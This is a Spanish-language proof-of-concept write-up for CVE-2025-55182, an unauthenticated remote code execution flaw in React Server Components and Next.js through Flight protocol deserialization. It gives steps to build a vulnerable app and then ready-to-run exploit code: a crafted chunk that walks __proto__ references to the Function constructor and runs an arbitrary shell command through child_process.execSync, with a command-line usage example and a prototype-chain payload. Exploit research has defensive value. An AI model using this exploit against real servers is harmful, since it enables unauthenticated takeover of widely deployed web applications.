
Prueba de concepto para CVE-2025-55182 (React2Shell): RCE no autenticado en React Server Components / Next.js mediante deserialización del protocolo Flight.
CVE-2025-55182 es una de las vulnerabilidades de framework web más extendidas en 2025. React Server Components (RSC) ya es la arquitectura dominante en aplicaciones Next.js modernas, y una gran cantidad de proyectos estándar creados con create-next-app están afectados, sin necesidad de código personalizado para su explotación.
| Elemento | Contenido |
|---|---|
| ID CVE | CVE-2025-55182 |
| También conocido como | React2Shell |
| Tipo de vulnerabilidad | Ejecución remota de código no autenticada (Unauthenticated RCE); CWE-502 Deserialización de datos no confiables (Deserialization of Untrusted Data) [3] |
| Puntuación CVSS | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Paquetes afectados | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Versiones afectadas | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 en adelante, 15.x, 16.x |
| Complejidad del ataque | Muy baja (una única petición HTTP POST) |
| ¿Requiere autenticación? | No |
Usar una versión vulnerable (16.0.6) para crear la aplicación Next:
pnpm create [email protected] next-app --yes
En next-app/app/, crear actions.ts marcado como Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
En la página principal (por ejemplo, app/page.tsx), añadir un formulario cuyo action apunte a testAction e incluya al menos un campo (por ejemplo, un hidden input).
Next.js generará en el HTML de ese formulario un hidden input con nombre
$ACTION_ID_<40 caracteres hex>; el PoC extraerá este ID de la página principal mediante una expresión regular.
El proyecto incluye next-app/Dockerfile y docker-compose.yml que se pueden usar para construir y ejecutar la aplicación Next, siguiendo el ejemplo oficial [8] para su redacción.
Ejecutar en la raíz del proyecto:
docker compose up --build -d
La aplicación Next estará accesible en http://localhost:3000.
Una vez finalizado el PoC, eliminar completamente el entorno Docker:
docker compose down -v
Al ejecutar el PoC, el script obtiene la página principal y extrae el ID mediante la expresión regular \$ACTION_ID_([a-f0-9]{40})/. Ejemplo:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Instalar dependencias en la raíz del proyecto y ejecutar:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Fragmento clave del código:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// manejar timeout o error
}
Ejemplo para escribir un archivo en el host objetivo:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec o a través de Docker Desktop.La vulnerabilidad reside en el mecanismo de deserialización del protocolo Flight de React (RSC Flight Deserializer). Este mecanismo se encarga de transmitir el estado de los componentes React entre servidor y cliente, pero su flujo de procesamiento presenta un grave problema de límite de confianza.
El protocolo React Flight es el formato de intercambio (wire format) que React utiliza para Server Components y Server Actions: serializa el árbol de componentes, parámetros de funciones, etc., en un flujo de chunks representado en JSON, y establece referencias entre chunks mediante
$número,$número:clave, permitiendo al servidor reconstruir valores completos de JavaScript.
Atacante envía HTTP POST malicioso
↓
[Fase 1] Crear un objeto con autorreferencia cíclica (Self-referential loop)
↓
[Fase 2] Engañar al motor JavaScript para que llame a una función controlada por el atacante
↓
[Fase 3] Inyectar datos maliciosos para desencadenar el flujo de inicialización de Flight
↓
[Fase 4] Mediante el Blob Handler llamar al constructor Function
↓
Ejecución de JavaScript arbitrario en el servidor (RCE)
Las Server Functions de React (en Next.js, Server Actions) serializan los datos que el frontend envía al backend mediante el protocolo React Flight en "trozos" (chunks), y luego los envían como datos de formulario (form data).
Las ventajas de este diseño incluyen:
Los chunks pueden referenciarse entre sí, por ejemplo:
["$1"] (referencia al bloque 1){"object":"fruit","name":"$2:fruitName"} (referencia a fruitName del bloque 2){"fruitName":"cherry"}El servidor lo interpreta como: { object: 'fruit', name: 'cherry' }. Es decir, el protocolo permite usar $número:clave para apuntar a propiedades de otros chunks y luego combinarlos en el objeto JavaScript final.
En la implementación anterior a la corrección, al analizar estas referencias no se verificaba estrictamente si la clave realmente existía en el objeto mismo, por lo que un atacante podía leer propiedades de la cadena de prototipos (prototype) del objeto mediante referencias.
Por ejemplo, se podía construir el siguiente payload:
["$1:__proto__:constructor:constructor"]{"x":1}